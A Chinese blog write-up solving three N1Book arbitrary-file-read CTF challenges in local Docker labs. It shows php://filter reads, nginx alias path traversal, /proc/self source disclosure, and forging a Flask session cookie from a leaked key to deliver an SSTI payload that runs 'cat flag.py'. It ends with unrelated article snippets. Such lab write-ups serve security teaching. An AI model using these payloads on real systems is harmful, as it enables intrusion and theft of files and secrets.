当前位置: 首页 > news >正文

CTFer成长之路之任意文件读取漏洞

任意文件读取漏洞CTF

任意文件读取漏洞

afr_1

题目描述:

暂无

docker-compose.yml

version: '3.2'services:web:image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-1:latestports:- 80:80

启动方式

docker-compose up -d

题目Flag

n1book{afr_1_solved}

Writeup

访问url:http://192.168.10.22/?p=hello

在这里插入图片描述

本题是考查任意文件读取,利用php://协议,访问

http://192.168.10.22/?p=php://filter/convert.base64-encode/resource=flag

在这里插入图片描述

将得到的数据进行base64解码,得到flag:n1book{afr_1_solved}

在这里插入图片描述

afr_2

题目描述:

暂无

docker-compose.yml

version: '3.2'services:web:image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-2:latestports:- 80:80

启动方式

docker-compose up -d

题目Flag

n1book{afr_2_solved}

Writeup

访问url:http://192.168.10.22/

在这里插入图片描述

本题是考查任意文件读取,访问 http://IP:PORT/img…/即可访问目录为/的文件(nginx错误配置)

访问url: http://192.168.10.22/img…/

在这里插入图片描述

即可得到目录文件,访问url:192.168.10.22/img…/flag

即可得到flag:n1book{afr_2_solved}

在这里插入图片描述

afr_3

题目描述:

暂无

docker-compose.yml

version: '3.2'services:web:image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latestports:- 5000:5000

启动方式

docker-compose up -d

题目Flag

n1book{afr_3_solved}

Writeup

本题考查对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入

访问url:http://192.168.10.22:5000/

在这里插入图片描述

输入ifconfig进行查询

在这里插入图片描述

继续点击article

在这里插入图片描述

请求http://192.168.10.22:5000/article?name=…/…/…/…/…/proc/self/cmdline获取当前执行系统命令,得到python server.py

在这里插入图片描述

请求 http://192.168.10.22:5000/article?name=…/…/…/…/…/proc/self/cwd/server.py获取源码

在这里插入图片描述

审计源码,发现flag在flag.py,flask的appkey在key.py,但是此处任意文件读取漏洞被过滤了关键词flag

源码里存在flask SSTI,前提是可以伪造flask的cookie,这里需要用到appkey https://noraj.github.io/flask-session-cookie-manager/

@app.route("/n1page", methods=["GET", "POST"])
def n1page():if request.method != "POST":return redirect(url_for("index"))n1code = request.form.get("n1code") or Noneif n1code is not None:n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")if "n1code" not in session or session['n1code'] is None:session['n1code'] = n1codetemplate = Noneif session['n1code'] is not None:'''这里存在SSTI'''template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']session['n1code'] = Nonereturn render_template_string(template)

所以请求

http://192.168.10.22:5000/article?name=…/…/…/…/…/proc/self/cwd/key.py

获取appkey

#!/usr/bin/python key = ‘Drmhze6EPcv0fN_81Bj-nA’

在这里插入图片描述

伪造cookie为SSTI的payload获取flag.

{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}

得到cookie的值为

eyJuMWNvZGUiOm51bGx9.YB5YLg.zvCvxG173uppSx0eYLBbzVdYKSk

在这里插入图片描述

安装Flask Session Cookie Decoder/Encoder

git clone https://github.com/noraj/flask-session-cookie-manager.git && cd flask-session-cookie-manager

Decode

python3 flask_session_cookie_manager3.py decode -c ‘eyJuMWNvZGUiOm51bGx9.YB5YLg.zvCvxG173uppSx0eYLBbzVdYKSk’ -s ‘Drmhze6EPcv0fN_81Bj-nA’

得到{‘n1code’: None}

在这里插入图片描述

如图所示方式进行加密

python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

得到加密后的cookie:

.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.Ev_wtA.71mFW-T5axswqE7F-u3jPywUWR4

在这里插入图片描述

修改session

在这里插入图片描述

获得flag:n1book{afr_3_solved}

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

相关文章:

CTFer成长之路之任意文件读取漏洞

任意文件读取漏洞CTF 任意文件读取漏洞 afr_1 题目描述: 暂无 docker-compose.yml version: 3.2services:web:image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-1:latestports:- 80:80启动方式 docker-compose up -d 题目Flag n1book{afr_1_solved} W…...

制造企业为何要上数字化工厂系统?

以目前形势来看&#xff0c;数字化转型是制造企业生存的关键&#xff0c;而数字化工厂管理系统是一个综合性、系统性的工程&#xff0c;波及整个企业及其供应链生态系统。数字化工厂系统所要实现的互联互通系统集成、数据信息融合和产品全生命周期集成&#xff0c;将方方面面的…...

Facebook广告投放的正确姿势:玩转目标定位

如果你正在投放 Facebook广告&#xff0c;那么你一定有过这样的经历&#xff1a;明明设置了目标受众&#xff0c;但是广告却没有带来转化。在这方面&#xff0c;你可能忽略了一个很重要的因素——目标定位。想要打造高质量、高曝光率的 Facebook广告&#xff0c;如何才能成功实…...

思科C9115AXI-H型号AP上线C9800失败处理记录

问题描述 原先的AP故障&#xff0c;从DNAC上发现状态down。现场发现AP灯灭&#xff0c;端口不亮。随即定位为AP单点故障。暂时的处理方法为&#xff1a;更换新AP上线。更换完毕后发现绿灯亮后熄灭。进一步说明网线无异常&#xff0c;属于AP故障。 如果顺利&#xff0c;在DNAC上…...

WSO2通过设定Role来订阅对应的Api

WSO2通过设定Role来订阅对应的Api1. Add Role And User1.0 Add Role1.1 Add User 1.2 Add Mapping2. Upload Api2.1 Upload Three Apis2.2 Inspection3. AwakeningWSO2安装使用的全过程详解: https://blog.csdn.net/weixin_43916074/article/details/127987099. 1. Add Role An…...

使用 PyTorch+LSTM 进行单变量时间序列预测(附完整源码)

时间序列是指在一段时间内发生的任何可量化的度量或事件。尽管这听起来微不足道&#xff0c;但几乎任何东西都可以被认为是时间序列。一个月里你每小时的平均心率&#xff0c;一年里一只股票的日收盘价&#xff0c;一年里某个城市每周发生的交通事故数。 在任何一段时间段内记…...

操作系统(day12)-- 虚拟内存;页面分配策略

虚拟内存管理 虚拟内存的基本概念 传统存储管理方式的特征、缺点 一次性&#xff1a; 作业必须一次性全部装入内存后才能开始运行。驻留性&#xff1a;作业一旦被装入内存&#xff0c;就会一直驻留在内存中&#xff0c;直至作业运行结束。事实上&#xff0c;在一个时间段内&…...

Git commit 提交没有被远端分支合并,撤销本次commit

问题&#xff1a;今天修改代码&#xff0c;误把项目配置文件修改为本地数据库连接&#xff0c;需要撤销本次commit 记录。解决办法&#xff1a;第一步&#xff1a;使用git log 查看所有commit 记录。第二步&#xff1a;使用git show commitID 查看指定commit 文件修改记录。第三…...

Netty核心原理(线程模型、核心API)与入门案例详解

Netty核心原理&#xff08;线程模型、核心API&#xff09;与入门案例详解 文章目录Netty核心原理&#xff08;线程模型、核心API&#xff09;与入门案例详解Netty 介绍原生 NIO 存在的问题概述线程模型线程模型基本介绍传统阻塞 I/O 服务模型Reactor 模型单 Reactor 单线程Nett…...

【 java 8】Lambda 表达式

&#x1f4cb; 个人简介 &#x1f496; 作者简介&#xff1a;大家好&#xff0c;我是阿牛&#xff0c;全栈领域优质创作者。&#x1f61c;&#x1f4dd; 个人主页&#xff1a;馆主阿牛&#x1f525;&#x1f389; 支持我&#xff1a;点赞&#x1f44d;收藏⭐️留言&#x1f4d…...

改进YOLO系列 | 谷歌团队 | CondConv:用于高效推理的条件参数化卷积

CondConv:用于高效推理的条件参数化卷积 论文地址:https://arxiv.org/pdf/1904.04971.pdf 代码地址:https://github.com/tensorflow/tpu/tree/master/models/official/efficientnet/condconv 卷积层是现代深度神经网络的基本构建模块之一。其中一个基本假设是,卷积核应该对数…...

SQL高级 --优化

一、SQL查询的解析 关联查询过多索引失效&#xff08;单值、符合&#xff09; 二、mysql explain使用简介 1、关于id的说明&#xff1a; 2 、select_type 常见和常用的值有如下几种&#xff1a; 分别用来表示查询的类型&#xff0c;主要是用于区别普通查询、联合查询、子…...

【C++】空间配置器

空间配置器&#xff0c;听起来高大上&#xff0c;那它到底是什么东西呢&#xff1f; 1.什么是空间配置器&#xff1f; 空间配置器是STL源码中实现的一个小灶&#xff0c;用来应对STL容器频繁申请小块内存空间的问题。他算是一个小型的内存池&#xff0c;以提升STL容器在空间申…...

nginx的介绍及源码安装

文章目录前言一、nginx介绍二、nginx应用场合三、nginx的源码安装过程1.下载源码包2.安装依赖性-安装nginx-创建软连接-启动服务-关闭服务3.创建nginx服务启动脚本4.本实验---纯代码过程前言 高可用&#xff1a;高可用(High availability,缩写为 HA),是指系统无中断地执行其功…...

通过openssl生成pfx证书

通过centos7上自带的openssl工具来生成。首先创建一个pfxcert目录。然后进入此目录。 1.生成.key文件&#xff08;内含被加密后的私钥&#xff09;&#xff0c;要求输入一个自定义的密码 [rootlocalhost cert]# openssl genrsa -des3 -out server.key 2048 Generating RSA priv…...

华为OD机试真题Python实现【敏感字段加密】真题+解题思路+代码(20222023)

敏感字段加密 题目 给定一个由多个命令字组成的命令字符串; 字符串长度小于等于127字节,只包含大小写字母,数字,下划线和偶数个双引号命令字之间以一个或多个下划线_进行分割可以通过两个双引号""来标识包含下划线_的命令字或空命令字(仅包含两个双引号的命令字…...

我的 System Verilog 学习记录(1)

引言 技多不压身&#xff0c;准备开始学一些 System Verilog 的东西&#xff0c;充实一下自己&#xff0c;这个专栏的博客就记录学习、找资源的一个过程&#xff0c;希望可以给后来者一些借鉴吧&#xff0c;IC找工作的都加把油&#xff01; 本文是准备先简单介绍一下环境搭建…...

金三银四,我不允许你们不知道这些软件测试面试题

01、您所熟悉的测试用例设计方法都有哪些&#xff1f;请分别以具体的例子来说明这些方法在测试用例设计工作中的应用。 答&#xff1a;有黑盒和白盒两种测试种类&#xff0c;黑盒有等价类划分法&#xff0c;边界分析法&#xff0c;因果图法和错误猜测法。白盒有逻辑覆盖法&…...

【UnityEditor】Unity将Multiple Sprite分割成多张png小图

如题&#xff0c;代码如下 using UnityEngine; using UnityEditor; using System.IO;public class SplitTexture {[MenuItem("ExtraTools/SplitTexture")]static void DoSplitTexture(){// 获取所选图片Texture2D selectedImg Selection.activeObject as Texture2D…...

独立搭建 handle server

本节主要介绍,如何搭建一个与 GHR隔离的 handle sever,不与外界有任何连通。 下载文件 访问地址下载最新版:http://www.handle.net/download_hnr.html 这里以 9.3.0 版本作为讲解 解压服务端,解压客户端 # 解压 tar -xzvf handle-9.3.0-distribution.tar.gz# 到目录下 …...

React hook之useRef

React useRef 详解 useRef 是 React 提供的一个 Hook&#xff0c;用于在函数组件中创建可变的引用对象。它在 React 开发中有多种重要用途&#xff0c;下面我将全面详细地介绍它的特性和用法。 基本概念 1. 创建 ref const refContainer useRef(initialValue);initialValu…...

相机Camera日志实例分析之二:相机Camx【专业模式开启直方图拍照】单帧流程日志详解

【关注我&#xff0c;后续持续新增专题博文&#xff0c;谢谢&#xff01;&#xff01;&#xff01;】 上一篇我们讲了&#xff1a; 这一篇我们开始讲&#xff1a; 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下&#xff1a; 一、场景操作步骤 操作步…...

安宝特方案丨XRSOP人员作业标准化管理平台:AR智慧点检验收套件

在选煤厂、化工厂、钢铁厂等过程生产型企业&#xff0c;其生产设备的运行效率和非计划停机对工业制造效益有较大影响。 随着企业自动化和智能化建设的推进&#xff0c;需提前预防假检、错检、漏检&#xff0c;推动智慧生产运维系统数据的流动和现场赋能应用。同时&#xff0c;…...

前端导出带有合并单元格的列表

// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...

376. Wiggle Subsequence

376. Wiggle Subsequence 代码 class Solution { public:int wiggleMaxLength(vector<int>& nums) {int n nums.size();int res 1;int prediff 0;int curdiff 0;for(int i 0;i < n-1;i){curdiff nums[i1] - nums[i];if( (prediff > 0 && curdif…...

UR 协作机器人「三剑客」:精密轻量担当(UR7e)、全能协作主力(UR12e)、重型任务专家(UR15)

UR协作机器人正以其卓越性能在现代制造业自动化中扮演重要角色。UR7e、UR12e和UR15通过创新技术和精准设计满足了不同行业的多样化需求。其中&#xff0c;UR15以其速度、精度及人工智能准备能力成为自动化领域的重要突破。UR7e和UR12e则在负载规格和市场定位上不断优化&#xf…...

大数据学习(132)-HIve数据分析

​​​​&#x1f34b;&#x1f34b;大数据学习&#x1f34b;&#x1f34b; &#x1f525;系列专栏&#xff1a; &#x1f451;哲学语录: 用力所能及&#xff0c;改变世界。 &#x1f496;如果觉得博主的文章还不错的话&#xff0c;请点赞&#x1f44d;收藏⭐️留言&#x1f4…...

Web 架构之 CDN 加速原理与落地实践

文章目录 一、思维导图二、正文内容&#xff08;一&#xff09;CDN 基础概念1. 定义2. 组成部分 &#xff08;二&#xff09;CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 &#xff08;三&#xff09;CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 &#xf…...

docker 部署发现spring.profiles.active 问题

报错&#xff1a; org.springframework.boot.context.config.InvalidConfigDataPropertyException: Property spring.profiles.active imported from location class path resource [application-test.yml] is invalid in a profile specific resource [origin: class path re…...

Mysql中select查询语句的执行过程

目录 1、介绍 1.1、组件介绍 1.2、Sql执行顺序 2、执行流程 2.1. 连接与认证 2.2. 查询缓存 2.3. 语法解析&#xff08;Parser&#xff09; 2.4、执行sql 1. 预处理&#xff08;Preprocessor&#xff09; 2. 查询优化器&#xff08;Optimizer&#xff09; 3. 执行器…...